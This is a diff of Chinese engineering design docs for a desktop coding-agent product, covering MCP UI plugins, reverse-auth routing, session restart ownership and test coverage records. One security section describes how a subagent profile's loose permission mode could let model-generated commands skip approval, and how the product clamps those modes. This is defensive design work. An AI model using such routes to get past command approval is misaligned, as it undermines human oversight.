+
+- 2026-10-15 静态方案评审经过两轮收敛,最终为 Ready。重点补齐了提升后解除草稿绑定、删除时清理实例,以及独立插件归属。
+- 2026-10-16 文档核对确认目标 MCP 等待已由基线提供,实施范围改为复用;草稿订阅已有 generation 防护,也应保留。
+- 既有 39 项相关单测通过是前一基线的旧行为证据,不是本方案验收结果。方案阶段尚未实现功能,也未运行新行为 E2E;后续实施证据见下文。完整桌面 main sandbox 与真实模型 sampling 的未验证边界继续保留。
+
+## 实施与验证记录
+
+- 草稿协调器增加页面保活引用;提升立即解除草稿槽位,页面继续持有原 session。pane 注册只投影有效绑定,插件入口不改变 `activeTaskId` 的产品含义。
+- 主导航请求保存在既有 workspace store,由根 pane 就绪后消费。Composer 插件上下文按有效 session 保存在窗口内,首发后清空;权限和附件复用原命令入口。
+- V4 删除先取消 UI 工具调用、撤销实例和 App tool,再关闭 App;共享 MCP 连接中的其他 session 保持可用。
+- 根 typecheck、lint 和 architecture 检查通过。受影响单测为 324 文件、4118 项;CLI 冷恢复与 MCP readiness 回归 62 项通过,CLI typecheck 与 lint 通过。E2E 类型检查和 fixture 静态检查通过。
+- macOS Electron `PLM-UI-001` 通过,run `desktop-e2e-20261016160029489-p71731-393c1051e3804bad`:首轮前主导航及侧栏市场打开、真实 MCP 工具允许/拒绝、零聊天行、上下文与输入保留、关闭标签重开、跨工作区返回、首发沿用同一 guest,以及原有项目启停/继承/卸载回归。用例保留 pending,尚未人工转正。
+- Windows/Linux 实机、跨重启状态恢复、真实模型 sampling 未在本轮实测;跨重启恢复不属于本次范围。
+
+## 实现评审(2026-10-17)
+
+Fable 对 `254113a332` 完成独立只读评审,核心链路符合方案;无 P1,提出 3 项 P2。以下 3 项已获确认并修复;专项回归通过,独立复审确认全部关闭。
+
+| 优先级 | 发现                                                                                 | 修复范围                                                                             |
+| ------ | ------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------ |
+| P2     | V4 删除没有等待 session 级资源退订,按实例异步退订可能与共享 pool lease 释放竞争。   | 复用旧 close 路径,在 App 关闭前等待资源退订;增加多 server 顺序和共享连接隔离回归。 |
+| P2     | 单个 MCP server 失效时,页面回调按 session 清空全部待发送插件上下文。                | 保留仍有效的待发送上下文,只在发送、session 删除或草稿绑定失效等对应边界清理。       |
+| P2     | 主导航请求只校验配置失效版本;离开草稿或首发提升后,旧请求可能留到下一份同项目草稿。 | 将请求取消绑定到原草稿的导航和提升边界,覆盖慢预热、离开和首发竞态。                 |
+
+专项回归先在旧代码失败,再在修复后通过:V4 集成测试以两阶段退订 Promise 确认 App 关闭等待;页面测试确认单个来源/runtime 失效保留两个插件的待发送内容;store 测试覆盖导航、提升、草稿重入和配置失效。真实 Electron 用受控 RPC 暂停预热,验证主导航打开后切正式会话或其他工作区取消请求,返回同项目草稿不再打开旧插件。另有 4 项 P3 建议:接住失效 retain 的构造异常、只读工作区打开的反馈、主导航重置分屏的产品选择、无页面正式会话的上下文回收。分屏行为先保留为产品决策项,不据评审自行改变交互。
+
+### P2 修复验证
+
+- 根 typecheck、lint、architecture 检查通过;以 `85b4830c84` 为基线的受影响单测为 179 文件、2307 项。CLI typecheck、lint 与冷恢复/MCP readiness 62 项通过;双页面上下文专项回归 3 项通过。
+- macOS Electron `PLM-UI-001` run `desktop-e2e-20261017020217277-p10138-e212efe6fd1c84c2` 通过,包含切历史会话、切其他工作区两条旧请求取消分支,以及原功能完整回归。E2E 类型与 fixture 检查通过;用例继续 pending。
+- 首次运行停在测试对旧 `draftRuntime` 字段的错误等待;改用有效插件 session 驱动的启动页推荐区后重跑通过,产品代码未因此改动。
+- 远端新鲜度检查受本机 Git 凭据读取失败阻塞;修复限定于已评审基线,没有更新或合并分支。Windows/Linux 实机、真实模型 sampling 未补测。
+
+- 跨工作区取消专项先在 run `desktop-e2e-20261017020044103-p3035-611908664f249406` 复现:旧请求仍非空。应用层订阅既有 tab store 的导航提交后,最终 run 两个导航分支均通过;订阅清理只退订,不用卸载时序或超时取消请求。
+
+### P2 复审结论
+
+2026-10-17,Fable 对 `85b4830c84..b63354119e` 完成独立只读复审,确认 3 项 P2 全部关闭,未发现新的 P2 或确定性 bug。删除等待、上下文保留,以及导航/提升/跨工作区取消均符合本规格;未增加超时、代次或执行队列。
+
+保留以下非阻断边界,不据此扩大本轮修复:
+
+- 单页面草稿在页面失效、释放保活引用后再被回收,可能留下该死亡 session ID 的待发送上下文。该内容只驻留内存、不可见,归入既有 P3 上下文回收项。
+- V4 删除在等待资源退订后才解除 App 事件订阅,等待期间仍可向 gateway 投递事件;旧 close 路径更早解除事件订阅。尚未发现功能影响,作为静态时序风险记录。
+- CLI 回归通过真实 gateway 与 facade spy 证明等待顺序,未执行真实 pool/adapter 的多 server 退订;页面回归未覆盖上述单页面孤儿路径。Electron 用例仍为 pending,未作为 CI 门禁。Windows/Linux 实机和真实模型 sampling 的未验证边界不变。
+
+### 完全访问修复验证
+
+- 失败测试先复现真实 SQLite 外键错误和持久化在途时提前提交;修复后 CLI 定向测试 35 项通过(含桌面 continuous 与手机 replayable 授权投影恢复),根受影响测试 29 文件 376 项通过。
+- 根及 CLI 类型检查、lint 和架构门禁通过;保留原有告警。授权入口登记到现有 cli-session-execution 模块,仍由 Core runtime 持有权限。
+- Electron 44.7.0 的 PLM-UI-001 run `desktop-e2e-20261019103901369-p31239-d00a1707b0be388d` 通过并录屏:完全访问后工具返回、Composer 同步、session/entry 行数为零;再次调用免审批,跨工作区返回及首发保持权限,同一 session/guest 被提升。用例保持 pending。
+- 首次 E2E 启动因 fixture 路径错误退出;第二次完成交互断言,但本机编码器动态库缺失导致录屏失败。使用现有独立编码器重跑通过。真实 PDF 复测:选取示例文档后,在 check_document 审批选择完全访问,授权成功;后续连续轮询按 yolo 放行,无授权 gateway 错误,session、session_entry、message 行数仍为零。授权前积累的审批仍逐项处理或按既有超时取消,不批量放行。
+
+- 独立复审完成,无阻断项;复审者额外运行 CLI 15 项及 UI 草稿授权 1 项通过。非阻断边界:草稿投影重建失败路径与持久化 Promise 拒绝路径尚未直接注入测试;E2E 审批双击存在静态推断的 stale 风险;跨包模块登记保留原 Core 实现归属。Windows/Linux 实机和手机实机未测,手机仅验证 replayable 投影。

+ 7 - 5
docs/plugins/plugin-market-interactions-scope.md

@@ -17,6 +17,8 @@
 
 ## 2026-10-11 范围修订
 
+2026-10-16 扩展见 [草稿会话中的 MCP UI App](./draft-mcp-ui-session-spec.md):桌面本地草稿预热就绪后可打开插件;主导航也提供「打开 UI」并进入既有根草稿。仍要求 Provider 就绪。
+
 用户明确要求“插件管理还是要支持按照项目管理的”。此要求优先于 PRD 中取消项目管理维度的描述。
 
 - 插件管理保留全局 / 具体项目切换。全局安装与按项目管理同时成立。
@@ -72,7 +74,7 @@ flowchart LR
 | 插件管理     | 顶部统一“插件管理”入口;保留全局 / 项目管理切换、项目级启停与配置覆盖;可返回“浏览全部插件”。                             |
 | 管理动作     | 更多菜单仅暂停/启用、卸载;已有升级能力保留为独立操作;保留卸载确认与失败反馈。                                           |
 | 安装         | 复用现有用户级安装、内置恢复、安装后技能刷新,不另建安装状态。                                                            |
-| UI 插件卡片  | 整行进入详情;仅会话右侧市场多一个「打开」,暂停态显示「启用」并先启用再打开;未安装可直接安装。                          |
+| UI 插件卡片  | 整行进入详情;主导航和会话右侧市场均提供「打开」,暂停态显示「启用」并先启用再打开;未安装可直接安装。                    |
 | 应用插件分组 | 与其他分类共用组内展开/收起,默认全部展开;超过 6 个可收起到前 6 个,不进入独立列表。搜索及清空搜索保留各来源的手动选择。 |
 | UI 插件详情  | 复用普通详情布局,展示可放大效果图、界面能力与信息。                                                                      |
 | 市场复用     | 主区域与 Side Pane 入口复用同一组件,市场内切换浏览 / 详情 / 管理;入口可抑制设置页面包屑。                               |
@@ -92,11 +94,11 @@ flowchart LR
 
 发布器从清单合法的 `ui.surfaces` 生成目录 `componentTypes` 中的 `ui` 能力;CLI 将目录能力投影到未安装条目,将实际解析结果投影到已安装条目,并在插件详情协议中保留 surface 摘要。禁用不移除能力分类,运行入口仍仅允许当前项目已启用的 surface。归属、用途和 UI 能力互相独立。
 
-打开 UI 只在会话右侧的插件市场提供:卡片、详情与管理页行的「打开 / 启用」按钮;主导航市场整行进入详情,详情主按钮为「立即试用」。桌面本地在现有会话可用时打开 UI;手机、Web 和远程可浏览、安装和管理,打开 UI 时提示暂不支持。脱离对话启动、新建会话、草稿提升和旧会话热加载留给后续任务,本轮不补这些流程。
+主导航和会话右侧市场的卡片、详情与管理页行均提供「打开 / 启用」。主导航选定 surface 后进入既有根草稿;右侧市场使用所属 pane 的有效 session。桌面本地 Provider 就绪后可在首轮前打开 UI;普通资源和工具不创建聊天回合,首发提升保留同一 session 与页面。手机、Web 和远程可浏览、安装和管理,打开 UI 时仍提示暂不支持。旧正式会话热加载不在此次范围。
 
 查询视图按主机、工作区身份和配置范围隔离,复用现有管理 store 的读写逻辑。成功变更后刷新受影响视图和 UI surface 列表,丢弃旧目标迟到响应,避免主区域、Side Pane 和项目切换串状态。
 
-全局设置投影与市场独立投影共用非阻塞变更通知;次要视图查询失败或迟迟不返回,不影响已成功写入的完成状态。通知记录操作发起时的主机、工作区和写入范围:用户级变更刷新同主机项目,项目级变更只刷新该项目的生效配置;远程同步不要求先打开全局设置。同一服务、身份和配置范围的在途查询共用结果;变更前开始的查询不能满足变更后刷新。Source 用户设置与该 Source 的项目投影使用统一主机判定,各视图分别检查目标是否仍有效并保留自己的操作错误。UI surface 订阅复用相同的主机与项目范围,不刷新无关工作区;远程同步先完成必要能力刷新,再通知派生视图。安装与内置恢复只有成功后才失效草稿并刷新技能,诊断式失败也必须显示为错误。主导航市场不提供打开 UI,管理页的“浏览全部插件”仍在市场内部切换。
+全局设置投影与市场独立投影共用非阻塞变更通知;次要视图查询失败或迟迟不返回,不影响已成功写入的完成状态。通知记录操作发起时的主机、工作区和写入范围:用户级变更刷新同主机项目,项目级变更只刷新该项目的生效配置;远程同步不要求先打开全局设置。同一服务、身份和配置范围的在途查询共用结果;变更前开始的查询不能满足变更后刷新。Source 用户设置与该 Source 的项目投影使用统一主机判定,各视图分别检查目标是否仍有效并保留自己的操作错误。UI surface 订阅复用相同的主机与项目范围,不刷新无关工作区;远程同步先完成必要能力刷新,再通知派生视图。安装与内置恢复只有成功后才失效草稿并刷新技能,诊断式失败也必须显示为错误。主导航市场通过既有根草稿打开 UI,管理页的“浏览全部插件”仍在市场内部切换。
 
 ```mermaid
 flowchart LR
@@ -177,7 +179,7 @@ CLI 两个上游存量大文件原本即超过 800 行;此次仅增加目录
 按完整 `pluginId` 关联市场目录,推荐身份为 `pluginId` 与 `surfaceId`,按配置顺序展示并去重。
 未安装和禁用条目仍展示;未知插件或不同来源不展示。按钮行为见下节。
 配置和完整市场目录加载期间显示骨架占位,不提前显示“暂无”。两者完成后,缺失、空或格式无效的名单显示空态;请求失败结束加载,不使用硬编码推荐。
-草稿无入口;Web、手机和远程沿用原打开能力提示。
+预热就绪的本地草稿提供入口;Web、手机和远程沿用原打开能力提示。
 
 ```mermaid
 flowchart LR
@@ -213,7 +215,7 @@ flowchart LR
 - 安装进行中新建右侧标签页,推荐区按 `plugins/list`、`plugins/overview` 加载,不等待安装完成,不停在骨架屏。
 - 卡片“更新”、详情“恢复用户默认”同样按插件判定忙碌,只禁用自身操作中的插件;同插件保存配置期间也视为忙碌。
 - 切换工作区、服务或会话后,旧操作不能触发新目标的动作或错误提示,也不能清理新目标的忙碌态。
-- 草稿仍不展示。手机/Web/远程可安装或启用,打开仍遵守原有平台能力限制。
+- 本地草稿预热就绪后展示。手机/Web/远程可安装或启用,打开仍遵守原有平台能力限制。
 
 ```mermaid
 stateDiagram-v2

+ 27 - 0
docs/runtime-tools/mcp-status-list-control-plane.md

@@ -31,6 +31,30 @@ MCP 设置页需要展示当前配置中各 server 的状态。旧方案在设
 5. CLI handler 包装现有 `listMcpServerStatuses(...)` 返回 status snapshot;`status()` 本身只读本地 records,不再额外连接。
 6. UI store 按当前本地 ZCode Agent MCP 行合并状态;plugin-managed 只读列表继续由 plugin 管理数据驱动,避免同名 server 串状态。
 
+### 官方 MCP 的反向授权路由
+
+Host 在每次 `mcp/list` 发出前,通过现有 client 工作区登记表记录实际探测目标,重试时也重新
+登记。`mcp-status` CLI 的内部 cwd 只决定进程载体,不替代目标工作区身份。
+
+```text
+设置页 → Host 登记探测目标 → mcp-status CLI 的 mcp/list
+                           → 官方 MCP 反向授权 → 校验登记归属与 Origin → 当前凭证
+聊天 CLI → 原有 active runtime 归属校验(独立于探测 lane)
+```
+
+只有 Host 已确认的 `mcp-status` lane、合法的 `interaction/requestOfficialMcpAuthHeaders`
+请求且 `consumer=mcp-server`(含缺省值)使用登记表路由,不要求与该项目的聊天 client 相同。
+禁止将探测 client 写成聊天 owner,禁止在反向请求中补登记;其他请求、通知和旧聊天 client
+继续执行原来的归属检查。未登记工作区、不同 identity、非法参数、其他 consumer 与不可信
+Origin 不得通过该路径读取凭证。登记随 client 退出清理;切换项目不改写已登记目标的身份,
+连接切换、OAuth 取消与 UI 迟到结果丢弃继续由现有 owner/epoch 规则控制。
+
+Host 的路由拒绝日志只保留 lane、阶段、错误码和请求关联信息;不增加凭证缓存、计时器或重试。
+
+2026-10-30 回归:候选 `settings/manual-review/pending/mcp-official-auth-routing.test.ts`
+在 `official-mcp-auth-final` 中 3/3 通过,覆盖桌面、390px 手机、真实控制面进程的项目切换、
+重建与五类恶意反向请求。精确覆盖边界见[覆盖矩阵](../testing/conversation-session-e2e-coverage-matrix.md)。
+
 ## UI 合并规则
 
 - 合并仅作用于 `source === "zcodeagentmcp"` 的本地 MCP 行。
@@ -41,6 +65,9 @@ MCP 设置页需要展示当前配置中各 server 的状态。旧方案在设
 - 设置页同一时间只允许一个 `mcp/list` 在飞;如果在飞期间又触发刷新,只合并成完成后的下一轮,避免多次点击开关把整批 MCP 连接排队到十几秒。
 - runtime 状态映射到 UI 状态时,`failed` 映射为 `error`;`connected`、`connecting`、`disconnected` 保持可展示语义;`disabled`、`untrusted` 显示为非成功配置态并带安全说明。
 - status snapshot 可选携带稳定 `failureKind` 与 `serverRequestId`。`error` 继续保存原始详情,UI 不直接把它当用户主文案。
+- stdio 启动失败的 `error` 合并传输错误和已脱敏、去 ANSI、限长的最近 stderr;分类和连接
+  生命周期保持不变。详情 Popover 按稳定 `failureKind` 展示下一步建议,具体规则见
+  [设置 MCP 列表](../settings-mcp-list.md)。不增加协议字段或第二份诊断状态。
 - 可信官方 HTTP MCP 只读取响应头 `X-Request-Id`;连接、initialize、`tools/list` 的诊断可进入设置页,`tools/call` 的 request id 只进入对应工具结果。无 HTTP response 的 stdio、DNS、timeout 不伪造 id。
 - ZCode envelope `3001`、`1000`,JSON-RPC `error.code=1006/3101`,HTTP 429/5xx 与其他 JSON-RPC error 分别映射为 `server_not_found`、`server_unavailable`、`not_authenticated`、`coding_plan_required`、`rate_limited`、`server_internal_error`、`protocol_error`;无法细分时使用 `connection_failed`。
 

+ 13 - 2
docs/security/deep-link-project-trust-boundary.md

@@ -39,8 +39,19 @@ ZCode Desktop 支持 `zcode://workspace/open?path=...` 打开本地工作区,
 - 持久 Trust 只按 `workspaceIdentity + hookDeclarationDigest` 命中;bundle digest 用于保证审核和执行快照一致。
 - Trust 只能由受信任 Host 的 `设置 → 钩子 → 工作区` 审核,或显式 `zcode hooks trust` 命令建立;repository、环境变量和普通 permission answer 都不能授权。
 - managed `deny` 高于 persistent Trust,并在下一次 dispatch gate 生效。
-- 用户级 Hook 与已启用插件 Hook 继续按各自既有可信来源规则运行。
-- 项目级 `.zcode/agents/*.md` 不得通过 frontmatter 改写 child runtime 权限模式;`permissionMode` 只对用户级或受信插件 profile 生效。
+- 用户级 Hook 与已启用插件 Hook 继续按各自既有可信来源规则运行。已启用插件(含第三方市场)的 Hook 当前照常执行,
+  插件本身没有隔离;下面的 `permissionMode` 规则不能防御恶意插件。
+- subagent profile 的 frontmatter `permissionMode` 按来源处理。父会话为 guarded 时,任何来源的
+  `bypassPermissions`、`dontAsk` 都先收紧为 guarded。
+  - 用户级(用户存储根下的 `agents/`,默认 `~/.zcode/agents`):按声明生效。
+  - 项目级 `.zcode/agents/*.md`(含附加目录):忽略,子会话继承父会话模式。
+  - 插件 agent(默认 `agents/` 目录与 manifest `agents` 声明的目录;官方与第三方同一规则):
+    只在比父会话模式更严格时生效,否则继承父会话模式。
+    严格程度从严到宽为 plan、build、edit、guarded、yolo;`bypassPermissions`、`dontAsk` 对应 yolo,
+    因此不会生效;`auto` 尚未实现,不参与比较,按继承处理。
+    这个顺序按各模式的默认策略排列。例外:guarded 对危险命令的审批先于 allow 规则,用户配置了
+    allow 规则时,build 与 edit 可能放行 guarded 仍会询问的命令。
+  - 插件规则防的是:模型把任务委派给插件 agent 后,插件声明的宽松模式让子会话里模型生成的命令免去审批。
 
 ## Rollout 与回滚
 

+ 59 - 0
docs/session-task-restart.md

@@ -156,3 +156,62 @@ openScope 结果未知时保留原 ID 和释放责任,但失败的 opening fli
 下一次业务请求用同一 ID 幂等重试,并发请求共享本次 flight;成功后复用确认结果。
 close 标记必须先于任何重试准入检查:开始关闭后不得重发 open,已有 opening 完成后只释放,
 迟到结果不得触发业务执行或删除后续实例记录。不开自动重试循环,不改变错误/超时预算。
+
+## 启动归属与真实关闭完成(2026-10-30)
+
+Host 当前可信 attachment 是已有会话启动请求的工作区来源。普通 subscribe、ensureReady、restart
+携带同一 workspace 引用;生命周期操作登记后先验证持久归属,再关闭旧实例。当前 flight 固定
+workspace,冲突请求不能合并;历史准备沿用该引用,不能由抢先订阅者改变激活归属。
+getState/stop 仍只需 sessionId。兼容旧调用可从持久会话恢复;新 Host 仅对宣告
+sessionLifecycleWorkspace 能力的 CLI 发送带 workspace 的启动命令,不向旧 CLI 静默降级为无上下文重启。
+
+CLI 在现有持久归属解析器统一校验。独立 owner 的本地路径只允许目标操作系统的词法等价
+(末尾分隔符、规范化形式),不 realpath、不改全局 workspaceKey、不忽略显式远程 identity。
+历史 auxiliary child 沿可验证父链寻找独立 owner;显式身份冲突、删除、缺父、环仍拒绝。
+新 child 已由既有修复继承 workspace;本次复用,不重复实现。
+
+```mermaid
+sequenceDiagram
+  participant H as Host attachment
+  participant L as Lifecycle
+  participant R as Runtime owner
+  H->>L: ensureReady/restart(sessionId, workspace)
+  L->>L: 登记 flight,验证归属
+  opt restart
+    L->>R: stopping,close()
+    Note over R: 等所有所属工作和资源实际完成
+    R-->>L: 完成或真实失败
+  end
+  L->>R: 使用同一 workspace 恢复
+  R-->>L: ready
+```
+
+app.close() 缓存真实关闭 Promise,删除单 session 顶层六秒 race。请求等待预算仍归调用方,
+进程退出预算仍归进程 owner;底层资源 RPC 的失败/超时仍表示释放未确认。
+真实关闭未结束时保持 stopping;成功进入 unloaded;真实失败进入 faulted,保留显式进程恢复。
+无依赖的收尾在其他步骤失败后仍执行;队列收口须等待真实工作完成,暂停 goal 失败仍是必要
+业务失败,不能自动继续。日志按关闭阶段保留原始 cause,避免仅记录汇总错误。
+
+无数据库 schema 或旧字段语义变更,不批量回填。历史兼容在每次读取时执行,不借普通读取写库;
+持久化继续使用原有字段与唯一写者。验收旧数据打开、正常续写、旧版本读写、再次升级读取;
+降级期间旧代码可能再次产生旧缺陷,但不得破坏可读性。运行态 workspace 不反写历史目录。
+
+### 启动入口与旧 WSL 兼容补全
+
+create、fork、普通 resume、V4 冷恢复均在进入生命周期时登记实际 workspace。
+新建入口已占用未使用的 sessionId,以 create 模式登记,不查询尚不存在的持久记录;
+恢复和 fork 则在激活前校验已有持久归属。加入已登记的操作必须匹配 workspace。
+兼容无 workspace 的旧入口时,带上下文的加入者在共享启动完成后仍须验证自己的归属,
+不能因为共享 Promise 而跳过校验;不会再启动第二个实例。
+
+旧 WSL 的 NULL identity 记录复用原有精确形态识别(直接 remote identity 或当前 cwd
+拼接 identity)。预检只读解析同一 identity/path;不同用户、不同设备或非精确路径仍拒绝。
+原子修复仍在激活阶段执行并重读确认,普通查询不写库,不增加 schema 或迁移版本。
+
+关闭某一阶段超过 30 秒时仅记录一次 `session.resource_close.slow`,列出仍在等待的 owner
+或资源。日志不终结 Promise、不改生命周期状态,也不自动重启进程。能力查询属于观察请求,
+超时不能淘汰承载其他任务的连接;不支持带归属启动的旧 CLI 仍明确返回 unsupported。
+
+已就绪实例的激活预检与在途操作使用同一四字段契约:workspaceKey、workspacePath、
+workspaceIdentity、remoteSessionId 必须一致。仅替换或删除显式 identity 也须在释放前拒绝;
+不能依赖调用方始终把 key 与 identity 一起更新。拒绝后保留原实例及 generation。

+ 31 - 0
docs/settings-mcp-list.md

@@ -27,6 +27,32 @@ Configured、Plugin MCP 共用一套失败展示:按 `failureKind` 国际化
 服务端 request id 已作为 ` - <requestId>` 后缀合并到这段可选择复制的详情文本,不再单独展示或提供第二个复制按钮。不得从 error 文本反解业务分类。
 连接成功、重新连接或 workspace 切换必须清除旧诊断。
 
+### 失败处理建议与进程诊断
+
+点击详情后先显示国际化的「处理建议」,再显示可选择复制的「错误详情」。Configured 与
+Plugin MCP、桌面与手机复用 `McpFailurePresentation`,即使旧 Agent 没返回 error 也能查看建议。
+建议只由已有 `failureKind` 决定,不从错误文本推断依赖缺失、权限、登录或套餐状态。
+
+- 进程启动失败:在实际运行 MCP 的设备上核对命令、工作目录、脚本路径、执行权限和依赖。
+  Python 包应按插件的依赖清单安装到该启动命令所用的解释器/虚拟环境;Node MCP 应核对 Node.js 与项目依赖。
+- 配置/运行时不可用:核对配置和该设备上的运行时;网络/超时:核对地址、代理、网络及服务状态。
+- 协议协商/工具列表/意外断开:核对服务版本、启动输出与服务日志;授权、登录、套餐、
+  服务端限流/异常等沿用现有稳定分类,给出对应下一步,不增加自动操作。
+- 不可信 Origin 的建议不能要求关闭安全校验或发送凭证到新地址。
+
+stdio 连接失败时,CLI 将传输错误与最近 stderr 尾部合并进已有 `error` 字段。复用现有
+4000 字符 stderr 上限和脱敏方法,去掉 ANSI 控制序列;不附加 env、配置内容或 stdout。
+凭证、认证头、URL userinfo 与常见敏感参数应先脱敏。stderr 只作诊断证据,不改变失败分类、
+连接、重试或权限逻辑。HTTP/SSE 不附加其他进程的 stderr,旧 Agent 只返回 `Connection closed`
+时仍显示通用建议。无需协议字段或数据迁移。
+
+Popover 沿用现有主题与字体,建议用普通正文,技术错误用等宽字体、换行与独立滚动;
+390px 手机视口内可读。中英文、深浅主题一致,不新增安装、修复或执行命令按钮。
+
+回归候选 MCP-DIAG-01:真实 stdio 缺 Python/Node 包、命令缺失的错误详情与建议;敏感值与
+ANSI 不出现在 UI。MCP-DIAG-02:桌面/手机、中英文与深浅主题;修复 fixture 后刷新连接成功,
+旧错误及详情入口消失。CLI 定向回归覆盖 stderr 边界、脱敏及 HTTP 隔离。
+
 官方 Server MCP 的 JSON-RPC 错误码会先转换为稳定的设置页分类:`1006` 显示“未登录,请先登录
 ZCode”,`3101` 显示“当前账号没有 Coding Plan,请先购买或配置 Coding Plan”;这两类提示不再
 显示为笼统的“协议请求失败”。
@@ -60,3 +86,8 @@ WMT-02:通过隔离本机 relay 配对的 390px 手机 Web 对同一 Host/work
 已有运行会话(包括自动重连)沿用原授权,新建或重启会话时重新检查;设置刷新只更新自身连接。
 提示与设置行明确区分持久声明状态和运行中会话的授权结果。
 设置行使用独立 `untrusted` 状态和明确的待信任文案;缺少审核详情时不误报连接故障,信任按钮仍禁用。
+
+2026-10-30 验收:候选 `settings/manual-review/pending/mcp-failure-guidance.test.ts` 在
+`mcp-failure-guidance-final-r5` 中 2/2 通过,覆盖 Configured/Plugin、桌面与 390px 手机、
+中英文、深浅主题、具体 stderr 脱敏及恢复后清除旧诊断。CLI 回归 57/57 通过;精确边界与
+运行证据见[覆盖矩阵](testing/conversation-session-e2e-coverage-matrix.md)。

+ 7 - 0
docs/subagent-session-directory.md

@@ -116,3 +116,10 @@ Subagent directory(桌面 / 普通 Web)
 - 目录 section 和 item 使用语义标题、button、可见 focus;状态不能只靠颜色表达。
 - 使用 `DESIGN.md` 的 surface/text/border/semantic token,兼容 Zai Light/Dark。
 - 文案通过 zh-CN/en-US locale;标题和摘要允许长文本换行或截断,不依赖中文长度。
+
+## 持久化 workspace 与执行目录(2026-10-26)
+
+- Bash `cd` 只修改执行 cwd。Agent 子运行时继承父运行时稳定的 workspacePath / workspaceIdentity,正文和父子关系仍由 CLI 持久化。
+- 历史辅助会话若缺 workspace identity,允许沿持久化 parentID 找到目录 owner,旧 cwd 可以与 owner 不同。只有最终 owner 的路径和身份均匹配请求 workspace 才允许打开;显式外部身份、删除、断链、环一律拒绝。不得把 child 写成 Host 普通任务。
+- 元数据查询、显式 resume、桌面 continuous 和手机 replayable 冷订阅使用同一父链判定。Host 反向回调只消费 CLI 已验证的 directorySessionId,不反向查询阻塞中的 CLI 队列。
+- 回归须实际执行 Bash cd 后创建 Agent、检查 SQLite 身份,再重启打开历史正文;历史错误 cwd 单独覆盖,不以新数据测试替代。

+ 14 - 0
docs/superpowers/specs/2026-09-09-virtual-project-design.md

@@ -1249,3 +1249,17 @@ Host readTree + CLI 时间镜像 -> 纯选择器 -> 项目列表 / 最近更新
 项目视图和 task 时间线共用滚动容器,复用 ScrollFadeViewport 的 24px mask。内容未溢出时无 mask;顶部仅下缘渐隐,中间上下缘渐隐,底部仅上缘渐隐。内容或容器尺寸变化后重新计算,导航栏和底部账户区域不参与 mask。保留列表原有间距、纵向滚动、拖拽边界,桌面和手机、深浅主题共用透明度渐变,不增加颜色或业务状态。
 
 MR !2897 手机文件导航:identity 的权威 session 映射与实际 services 注册共同证明连接有效,不要求 session 重复保存 identity 字段。跨 workspace 的 `workspace-bridge-open` 使用 `fileTreeTaskId` 与 `taskHostId` 定位可信任务 cwd,不能同时携带选择任务的 `taskId` 或 project 草稿。Host 复用任务目录准备,不设置 `initialTaskId`;手机新 Root 初始打开文件树,不选任务、不清除未读。旧 Root 的待返回请求仍遵循原有 generation 清理。关闭文件树后清除壳层已消费的打开请求,侧栏重挂载不得再次消费旧入口。
+
+## 2026-10-26 fork 归属交接与远端历史空归属修复
+
+CLI 的 fork 提交与 Host 的项目归属是两个 owner 的独立提交。Host 收到成功或重复 fork ACK 后,按同 workspace 的父任务继承项目与固化执行目录,落库成功后才将 ACK 返回界面。项目 ID 不进入 CLI 协议。sessions-index 首次摄入使用同一父任务证据,不能仅凭目录猜 fork 项目;通知早于 ACK 和 ACK 重放均不得覆盖用户已修改的归属。
+
+```text
+CLI 提交 fork → Host 继承父任务组织态 → 返回 ACK → UI 打开
+      └─ sessions-index → 首次摄入继承同一父任务(顺序可交换)
+重启 → Host 迁移完成 → CLI 持久化父链 → 冷订阅历史正文
+```
+
+远端已有强制项目约束,历史 remote owner 的 NULL 行是未完成的交接。新增版本化数据迁移只修复可证明的归属:优先同 owner、同 workspace、同 root 的父任务;没有父引用的独立任务只能匹配唯一未删除单 root 项目。零或多匹配、外部父任务、断链不猜测、不自动创建项目。迁移只写 tasks.project_id 与首次判定位,保留正文镜像、时间、置顶、归档、未读和执行目录。后续 CLI 事实摄入可补齐晚到的父任务/项目证据。
+
+本地合法 NULL、已有非空归属及跨 owner 行不能被当前 Host 重分配。重复启动/摄入幂等。迁移使用现有 runner 和表级备份,旧 migration checksum 不变。

+ 99 - 7
docs/testing/conversation-session-e2e-coverage-matrix.md

@@ -469,6 +469,8 @@ Header 按钮。文件搜索候选必须先从 fixture 所属项目建立草稿
 
 ## 项目与任务草稿生命周期(PD,2026-10-16)
 
+PD13–PD16(2026-10-30,accepted / pending):远端草稿在 projectId 就绪后才预热和首发;覆盖保留作用域的完整冷启动、只删除导航作用域后的冷启动与 Enter 拦截、显式项目新建后的真实首发、手机 shared-host 恢复及本地未归类首发。候选 `packages/desktop/test/e2e/conversation-session/manual-review/pending/conversation-session-remote-draft-prewarm.test.ts`;covered(候选未转正):`packages/desktop/.e2e-artifacts/local-docker-20261030074146-15e10a` 完整通过,含真实 Provider 请求和 Host 项目归属断言。macOS Electron → SSH Linux arm64;手机为 Chrome 390px 触摸视口与真实 relay/Host,缺归属为受控 store 前置;不是实体手机或 Windows/Linux 桌面证据。缺失作用域不归因于升级。
+
 PD01–PD12 定义及分层验证见 [统一生命周期规格](../ui/project-task-draft-lifecycle.md#本轮验证记录2026-10-16)。产品语义 accepted;自动化保持 manual-review/pending,未自动转正或加入 CI。
 
 MR 集成基线 `f05db3e645` 的补验见规格末节:Composer 5/5(`desktop-e2e-20261016-103617-676`)、GRP02/03/11 关闭分组后正文及刷新 1/1(`desktop-e2e-20261016-104001-042`);VP13 1/1(`desktop-e2e-20261016-104236-866`),同时运行 PCD01–03 的项目创建交接。原开发基线与集成基线的结果分别记录,不合并计数。
@@ -1319,6 +1321,8 @@ staging 的 BG45 历史 focused replay artifact 为 `desktop-e2e-20260903-111126
 | `SB`   | `packages/desktop/test/e2e/conversation-session/conversation-session-built-in-subagent-model-overrides.test.ts`                                                                                                                                                    |
 | `SX`   | `packages/desktop/test/e2e/conversation-session/conversation-session-subagent-runtime-catalog-reasoning.test.ts`                                                                                                                                                   |
 | `SD`   | `packages/desktop/test/e2e/conversation-session/conversation-session-subagent-interaction-delegate.test.ts`                                                                                                                                                        |
+| `SDE`  | `packages/desktop/test/e2e/conversation-session/manual-review/pending/conversation-session-explore-permission-delegate.test.ts`                                                                                                                                                        |
+| `CCH`  | `packages/desktop/test/e2e/conversation-session/manual-review/pending/conversation-session-custom-command-shell-handoff.test.ts`                                                                                                                                                       |
 | `SA`   | `packages/desktop/test/e2e/conversation-session/conversation-session-subagent-prompt-assembly.test.ts`                                                                                                                                                             |
